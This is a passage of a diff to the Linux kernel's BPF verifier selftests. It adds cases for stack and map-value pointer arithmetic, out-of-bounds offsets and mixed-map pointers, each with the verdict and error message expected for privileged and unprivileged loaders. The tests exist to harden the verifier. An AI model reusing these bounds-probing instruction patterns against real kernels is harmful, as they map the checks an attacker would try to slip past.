), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_MOV64_REG (BPF_REG_5 ,BPF_REG_10 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_5 ,-6 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = 42, + }, + { +"PTR_TO_STACK mixed reg/k, 3" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_1 ,-3 ), +BPF_MOV64_IMM (BPF_REG_2 ,-3 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_2 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_MOV64_REG (BPF_REG_0 ,BPF_REG_2 ), + BPF_EXIT_INSN(), + }, + .result =ACCEPT , + .retval = -3, + }, + { +"PTR_TO_STACK reg" , + .insns = { +BPF_MOV64_REG (BPF_REG_1 ,BPF_REG_10 ), +BPF_MOV64_IMM (BPF_REG_2 ,-3 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_2 ), +BPF_ST_MEM (BPF_B ,BPF_REG_1 ,0 ,42 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .result_unpriv =REJECT , + .errstr_unpriv = "invalid stack off=0 size=1", + .result = ACCEPT, + .retval = 42, + }, + {"stack pointer arithmetic" , .insns = { BPF_MOV64_IMM(BPF_REG_1, 4),
@@ -6610,7 +6851,446 @@ static struct bpf_test tests[] = { .prog_type = BPF_PROG_TYPE_TRACEPOINT, }, { - "map access: known scalar += value_ptr", + "map access: known scalar += value_ptr from different maps", + .insns = { +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 , + offsetof(struct __sk_buff , len)), +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,1 ,3 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_JMP_IMM (BPF_JNE ,BPF_REG_0 ,1 ,2 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_hash_16b = { 5 }, + .fixup_map_array_48b = { 8 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R1 tried to add from different maps", + .retval = 1, + }, + { +"map access: value_ptr -= known scalar from different maps" , + .insns = { +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 , + offsetof(struct __sk_buff , len)), +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,1 ,3 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_JMP_IMM (BPF_JNE ,BPF_REG_0 ,1 ,2 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_hash_16b = { 5 }, + .fixup_map_array_48b = { 8 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 min value is outside of the array range", + .retval = 1, + }, + { +"map access: known scalar += value_ptr from different maps, but same value properties" , + .insns = { +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 , + offsetof(struct __sk_buff , len)), +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,1 ,3 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_JMP_IMM (BPF_JNE ,BPF_REG_0 ,1 ,2 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_hash_48b = { 5 }, + .fixup_map_array_48b = { 8 }, + .result = ACCEPT, + .retval = 1, + }, + { +"map access: value_ptr += known scalar, upper oob arith, test 1" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_MOV64_IMM (BPF_REG_1 ,48 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: value_ptr += known scalar, upper oob arith, test 2" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_MOV64_IMM (BPF_REG_1 ,49 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: value_ptr += known scalar, upper oob arith, test 3" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_MOV64_IMM (BPF_REG_1 ,47 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: value_ptr -= known scalar, lower oob arith, test 1" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,5 ), +BPF_MOV64_IMM (BPF_REG_1 ,47 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,48 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = REJECT, + .errstr = "R0 min value is outside of the array range", + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + }, + { +"map access: value_ptr -= known scalar, lower oob arith, test 2" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,7 ), +BPF_MOV64_IMM (BPF_REG_1 ,47 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,48 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: value_ptr -= known scalar, lower oob arith, test 3" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,5 ), +BPF_MOV64_IMM (BPF_REG_1 ,47 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,47 ), +BPF_ALU64_REG (BPF_SUB ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: known scalar += value_ptr" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 1, + }, + { +"map access: value_ptr += known scalar, 1" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 1, + }, + { +"map access: value_ptr += known scalar, 2" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,49 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = REJECT, + .errstr = "invalid access to map value", + }, + { +"map access: value_ptr += known scalar, 3" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 ,-1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = REJECT, + .errstr = "invalid access to map value", + }, + { +"map access: value_ptr += known scalar, 4" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,7 ), +BPF_MOV64_IMM (BPF_REG_1 ,5 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,-2 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,-1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 1, + }, + { +"map access: value_ptr += known scalar, 5" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), +BPF_MOV64_IMM (BPF_REG_1 , (6 +1 ) *sizeof (int )), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 0xabcdef12, + }, + { +"map access: value_ptr += known scalar, 6" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,5 ), +BPF_MOV64_IMM (BPF_REG_1 , (3 +1 ) *sizeof (int )), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,3 *sizeof (int )), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_0 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 0xabcdef12, + }, + { +"map access: unknown scalar += value_ptr, 1" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,0xf ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), +BPF_MOV64_IMM (BPF_REG_0 ,1 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 1, + }, + { +"map access: unknown scalar += value_ptr, 2" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,31 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .retval = 0xabcdef12, + }, + { +"map access: unknown scalar += value_ptr, 3" , + .insns = { +BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), +BPF_MOV64_REG (BPF_REG_2 ,BPF_REG_10 ), +BPF_ALU64_IMM (BPF_ADD ,BPF_REG_2 ,-8 ), +BPF_LD_MAP_FD (BPF_REG_1 ,0 ), +BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , + BPF_FUNC_map_lookup_elem), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,8 ), +BPF_MOV64_IMM (BPF_REG_1 ,-1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_MOV64_IMM (BPF_REG_1 ,1 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,31 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 ,0 ), + BPF_EXIT_INSN(), + }, + .fixup_map_array_48b = { 3 }, + .result = ACCEPT, + .result_unpriv = REJECT, + .errstr_unpriv = "R0 pointer arithmetic of map value goes out of range", + .retval = 0xabcdef12, + }, + { +"map access: unknown scalar += value_ptr, 4" , .insns = {BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
@@ -6618,19 +7298,22 @@ static struct bpf_test tests[] = {BPF_LD_MAP_FD (BPF_REG_1 ,0 ),BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , BPF_FUNC_map_lookup_elem), -BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), -BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,6 ), +BPF_MOV64_IMM (BPF_REG_1 ,19 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,31 ),BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), -BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), -BPF_MOV64_IMM (BPF_REG_0 ,1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_1 ,0 ), BPF_EXIT_INSN(), }, .fixup_map_array_48b = { 3 }, - .result = ACCEPT, - .retval = 1, + .result = REJECT, + .errstr = "R1 max value is outside of the array range", + .errstr_unpriv = "R1 pointer arithmetic of map value goes out of range", }, { -"map access: value_ptr += known scalar" , +"map access: value_ptr += unknown scalar, 1" , .insns = {BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
@@ -6638,8 +7321,9 @@ static struct bpf_test tests[] = {BPF_LD_MAP_FD (BPF_REG_1 ,0 ),BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , BPF_FUNC_map_lookup_elem), -BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,3 ), -BPF_MOV64_IMM (BPF_REG_1 ,4 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,0xf ),BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ),BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), BPF_MOV64_IMM(BPF_REG_0, 1),
@@ -6650,7 +7334,7 @@ static struct bpf_test tests[] = { .retval = 1, }, { - "map access: unknown scalar += value_ptr", + "map access: value_ptr += unknown scalar, 2", .insns = {BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
@@ -6659,19 +7343,18 @@ static struct bpf_test tests[] = {BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , BPF_FUNC_map_lookup_elem),BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), -BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), -BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,0xf ), -BPF_ALU64_REG (BPF_ADD ,BPF_REG_1 ,BPF_REG_0 ), -BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_1 ,0 ), -BPF_MOV64_IMM (BPF_REG_0 ,1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,31 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), +BPF_LDX_MEM (BPF_W ,BPF_REG_0 ,BPF_REG_0 ,0 ), BPF_EXIT_INSN(), }, .fixup_map_array_48b = { 3 }, .result = ACCEPT, - .retval = 1, + .retval = 0xabcdef12, }, { -"map access: value_ptr += unknown scalar" , +"map access: value_ptr += unknown scalar, 3" , .insns = {BPF_ST_MEM (BPF_DW ,BPF_REG_10 ,-8 ,0 ), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
@@ -6679,13 +7362,20 @@ static struct bpf_test tests[] = {BPF_LD_MAP_FD (BPF_REG_1 ,0 ),BPF_RAW_INSN (BPF_JMP |BPF_CALL ,0 ,0 ,0 , BPF_FUNC_map_lookup_elem), -BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,4 ), -BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_JMP_IMM (BPF_JEQ ,BPF_REG_0 ,0 ,11 ), +BPF_LDX_MEM (BPF_DW ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_LDX_MEM (BPF_DW ,BPF_REG_2 ,BPF_REG_0 ,8 ), +BPF_LDX_MEM (BPF_DW ,BPF_REG_3 ,BPF_REG_0 ,16 ),BPF_ALU64_IMM (BPF_AND ,BPF_REG_1 ,0xf ), -BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_1 ), -BPF_LDX_MEM (BPF_B ,BPF_REG_1 ,BPF_REG_0 ,0 ), +BPF_ALU64_IMM (BPF_AND ,BPF_REG_3 ,1 ), +BPF_ALU64_IMM (BPF_OR ,BPF_REG_3 ,1 ), +BPF_JMP_REG (BPF_JGT ,BPF_REG_2 ,BPF_REG_3 ,4 ), +BPF_ALU64_REG (BPF_ADD ,BPF_REG_0 ,BPF_REG_3 ), +BPF_LDX_MEM (BPF_B ,BPF_REG_0 ,BPF_REG_0 ,0 ),BPF_MOV64_IMM (BPF_REG_0 ,1 ),BPF_EXIT_INSN (), +BPF_MOV64_IMM 